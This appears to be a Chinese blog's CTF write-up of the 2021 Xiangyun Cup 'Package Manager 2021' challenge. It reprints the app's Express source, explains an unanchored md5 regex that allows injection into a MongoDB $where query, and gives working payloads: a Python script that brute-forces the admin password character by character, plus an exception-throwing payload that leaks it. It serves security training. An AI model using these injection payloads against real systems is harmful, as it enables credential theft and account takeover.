[CTF]WriteUp第55篇

[2021祥云杯]Package Manager 2021

在NCTF中看到xsleaks, 查教程时发现了这道题, 遂来学习

思路

源码应该是公开的, 主要看这两个文件

index.ts

import *  as express from "express";
import { User } from "../schema";
import { checkmd5Regex } from "../utils";

const router = express.Router();

router.get('/', (_, res) => res.render('index'))

router.get('/login', (_, res) => res.render('login'))

router.post('/login', async (req, res) => {
	let { username, password } = req.body;
	if (username && password) {
		if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {
			return res.render('login', { error: 'Parameters error' });
		}
		const user = await User.findOne({ "username": username })
		if (!user || !(user.password === password)) {
			return res.render('login', { error: 'Invalid username or password' });
		}
		req.session.userId = user.id
		res.redirect('/packages/list')
	} else {
		return res.render('login', { error: 'Parameters cannot be blank' });
	}
})

router.get('/register', (_, res) => res.render('register'))

router.post('/register', async (req, res) => {
	let { username, password, password2 } = req.body;
	if (username && password && password2) {
		if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {
			return res.render('register', { error: 'Parameters error' });
		}
		if (password != password2) {
			return res.render('register', { error: 'Password do noy match' });
		}
		if (await User.findOne({ username: username })) {
			return res.render('register', { error: 'Username already taken' });
		}
		try {
			const user = new User({ "username": username, "password": password, "isAdmin": false })
			await user.save()
		} catch (err) {
			return res.render('register', { error: err });
		}
		res.redirect('/login');
	} else {
		return res.render('register', { error: 'Parameters cannot be blank' });
	}
})

router.get('/logout', (req, res) => {
	req.session.destroy(() => res.redirect('/'))
})


router.get('/auth', (_, res) => res.render('auth'))

router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
			try {
				let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);
				if (docs.length == 1) {
					if (!(docs[0].isAdmin === true)) {
						return res.render('auth', { error: 'Failed to auth' })
					}
				} else {
					return res.render('auth', { error: 'No matching results' })
				}
			} catch (err) {
				return res.render('auth', { error: err })
			}
		} else {
			return res.render('auth', { error: 'Token must be valid md5 string' })
		}
	} else {
		return res.render('auth', { error: 'Parameters error' })
	}
	req.session.AccessGranted = true
	res.redirect('/packages/submit')
});


export default router;

package.ts

import * as express from 'express';
import { Package, User, Report } from '../schema';
import * as createError from 'http-errors';
import { checkAuth, checkmd5Regex, genPackageId } from '../utils';

const router = express.Router();

router.get('/', async (_, res) => {
	const user = await User.findOne({ username: 'testuser' });
	const packs = await Package.find({ user_id: user.id });
	return res.render('packages', {
		packs: packs,
		message: `TOP packages will be shown here :)  So don't hesitate to create your own!`,
	});
});

router.get('/list', async (req, res, next) => {
	const packs = await Package.find({ user_id: req.session.userId });
	if (packs.length == 0) {
		return res.redirect('/packages');
	}
	let { search } = req.query;
	if (search) {
		try {
			let description = search;
			let name = search;
			if (typeof description === 'string') {
				description = { description };
			}
			if (typeof name === 'string') {
				name = { name };
			}
			const packs = await Package.find({
				user_id: req.session.userId,
				$or: [name, description],
			});
			if (packs.length == 0) {
				return next(createError(404));
			}
			return res.render('packages', { packs });
		} catch (err) {
			return next(createError(500))
		}
	}
	return res.render('packages', { packs });
});

router.get('/add', (_, res) => res.render('add'));

router.post('/add', async (req, res) => {
	let { name, description, version } = req.body;
	if (name && description && version) {
		if (
			name == '' ||
			typeof name !== 'string' ||
			description == '' ||
			typeof description !== 'string' ||
			version == '' ||
			typeof version !== 'string'
		) {
			return res.render('add', { error: 'Parameters error' });
		}
		try {
			const pack_id = genPackageId(req.session.userId);
			const new_pack = new Package({
				user_id: req.session.userId,
				pack_id: pack_id,
				name: name,
				description: description,
				version: version,
			});
			await new_pack.save();
			return res.redirect(`/packages/${pack_id}`);
		} catch (err) {
			return res.render('add', { error: 'Failed adding the package' });
		}
	} else {
		return res.render('add', { error: 'Parameters cannot be blank' });
	}
});

router.get('/:id/edit', async (req, res, next) => {
	const pack = await Package.findOne({
		user_id: req.session.userId,
		pack_id: req.params.id,
	});
	if (!pack) {
		return next(createError(404));
	}
	return res.render('edit', { package: pack });
});

router.post('/:id/edit', async (req, res) => {
	let { name, description, version } = req.body;
	if (name && description && version) {
		if (
			name == '' ||
			typeof name !== 'string' ||
			description == '' ||
			typeof description !== 'string' ||
			version == '' ||
			typeof version !== 'string'
		) {
			return res.render('edit', {
				error: 'Parameters error',
				package: {
					pack_id: req.params.id,
					name: name,
					description: description,
					version: version,
				},
			});
		}
		try {
			await Package.updateOne(
				{
					user_id: req.session.userId,
					pack_id: req.params.id,
				},
				{
					name: name,
					description: description,
					version: version,
				}
			);
			return res.redirect(`/packages/${req.params.id}`);
		} catch (err) {
			return res.render('edit', {
				error: 'Failed editing the package',
				package: {
					pack_id: req.params.id,
					name: name,
					description: description,
					version: version,
				},
			});
		}
	} else {
		return res.render('edit', {
			error: 'Parameters can not be blank',
			package: {
				pack_id: req.params.id,
				name: name,
				description: description,
				version: version,
			},
		});
	}
});

router.get('/:id/delete', async (req, res) => {
	try {
		await Package.deleteOne({
			user_id: req.session.userId,
			pack_id: req.params.id,
		});
	} catch (err) {
		return res.render('packages', { error: 'Failed deleting the package' });
	}
	res.redirect('/packages/list');
});

router.get('/submit', checkAuth, (_, res) => res.render('submit'));

router.post('/submit', checkAuth, async (req, res) => {
	let { pack_id } = req.body;
	if (!checkmd5Regex(pack_id)) {
		return res.render('submit', {
			error: 'Package id must be valid md5 string',
		});
	}
	try {
		const report = new Report({ pack_id: pack_id });
		await report.save();
		return res.render('submit', { message: 'Package successfully submitted' });
	} catch (err) {
		return res.render('submit', { error: 'Already submit your package' });
	}
});

router.get('/:id', async (req, res, next) => {
	try {
		const admin = await User.findOne({ username: 'admin', isAdmin: true });
		if (req.session.userId === admin.id) {
			const pack = await Package.findOne({ pack_id: req.params.id });
			if (pack) {
				return res.render('pack', { package: pack });
			} else {
				next(createError(404));
			}
		}
		const pack = await Package.findOne({
			user_id: req.session.userId,
			pack_id: req.params.id,
		});
		if (pack) {
			return res.render('pack', { package: pack });
		} else {
			next(createError(404));
		}
	} catch (err) {
		next(createError(404));
	}
});

export default router;

解题

说实话我不会typescript, 只能将就看看

解法一

index.ts中容易发现sql语句:

let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()

非常明显的一个注入点, token是这样处理的

router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
                    ...

其中, checkmd5Regex:

const checkmd5Regex = (token: string) => {
  return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}

这个匹配非常粗糙, 没有用^$限定头尾, 直接在token前面添加32个a即可绕过

token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[1]=="1

按位爆出password之后登录admin即可
payload:

import requests
import time
import string

url = "http://31262270-c94d-4c38-9c64-5dbc06345c1d.node5.buuoj.cn:81/auth"
header = {
    "Cookie": "session=s%3ASRVUQp1qJUDj1vSb_dUst896Tg6pcdnU.l4uSLJFD%2F%2Bd9yPtdUpNzyuAKUYKQTQiQgNLmnbX9fKg",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0",
    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7",
    "Accept-Encoding": "gzip, deflate",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://31262270-c94d-4c38-9c64-5dbc06345c1d.node5.buuoj.cn:81/auth",
    "Upgrade-Insecure-Requests": "1"
}
data = {
    "_csrf": "uuIqDnbd-nJzADDpRSEi4RYTivBkFL1R4-xk",
    "token": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"||this.password[{}]==\"{}"
}
ans = ""
for i in range(0, 1000):
    print(f"now: {i}, res: ", end="")
    for j in string.printable:
        data["token"] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"||this.password[{}]==\"{}".format(i, j)
        time.sleep(0.2)
        r = requests.post(url, data=data, headers=header, allow_redirects=False)
        if "Found. Redirecting to" in r.text:
            ans = ans + j
            print(ans)
            break

解法二

MongoDB支持js的语法, 利用js特有的函数写法执行命令抛个异常

token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="a

得到admin密码, 然后登录即可

解法三

利用xsleaks

注意

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇